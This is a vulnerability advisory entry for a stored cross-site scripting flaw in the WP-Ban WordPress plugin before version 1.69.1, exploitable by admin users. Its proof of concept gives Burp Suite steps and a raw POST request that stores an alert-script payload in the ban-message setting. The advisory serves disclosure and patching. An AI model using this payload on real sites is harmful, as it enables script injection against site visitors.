Lucene search

K
wpvulndbIohexWPVDB-ID:D0CF24BE-DF87-4E1F-AAE7-E9684C88E7DB
HistoryDec 06, 2022 - 12:00 a.m.

WP-Ban < 1.69.1 - Admin+ Stored XSS

2022-12-0600:00:00
iohex
wpscan.com
15
wordpress
ban plugin
stored xss
settings
admin
banned referrers
banned message
cross-site scripting
poc
burp suite
interceptor
request interception
vulnerability
security
capability
multisite
user privilege

0.001 Low

EPSS

Percentile

39.7%

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

PoC

1. Go to the plugin settings and set these fields: In “Banned Referrers”, add “xss” and in “Banned Message”, add “” 2. Go to the website’s homepage using Burp Suite and its Interceptor. 3. Intercept the request, change the “referrer” to “xss” and confirm the request. The alert triggers successfully. The request is: POST /wordpress_582/wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1 _wpnonce=&_wp_http_referer=%2Fwordpress_582%2Fwp-admin%2Fadmin.php%3Fpage%3Dwp-ban%252Fban-options.php&banned;_option_reverse_proxy=1&banned;_ips=&banned;_ips_range=&banned;_hosts=&banned;_referers=xss&banned;_user_agents=&banned;_exclude_ips=&banned;_template_message=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&Submit;=Save+Changes -video: https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk ======= You need to trigger a ban rule to display the ban message. For example, I set the ban rule to let the referer not equal to xss. The package is like this: http POST /wordpress_582/wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1 ... _wpnonce=c298ada8b0&_wp_http_referer=%2Fwordpress_582%2Fwp-admin%2Fadmin.php%3Fpage%3Dwp-ban%252Fban-options.php&amp;banned;_option_reverse_proxy=1&amp;banned;_ips=&amp;banned;_ips_range=&amp;banned;_hosts=&amp;banned;_referers=xss&amp;banned;_user_agents=&amp;banned;_exclude_ips=&amp;banned;_template_message=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&amp;Submit;=Save+Changes We set the banned_referers=xss, and the payload in the parameter banned_template_message. Then go to the main page, refresh the page, and set the referer as xss, the vulnerability will be triggered.

CPENameOperatorVersion
wp-banlt1.69.1

0.001 Low

EPSS

Percentile

39.7%

Related for WPVDB-ID:D0CF24BE-DF87-4E1F-AAE7-E9684C88E7DB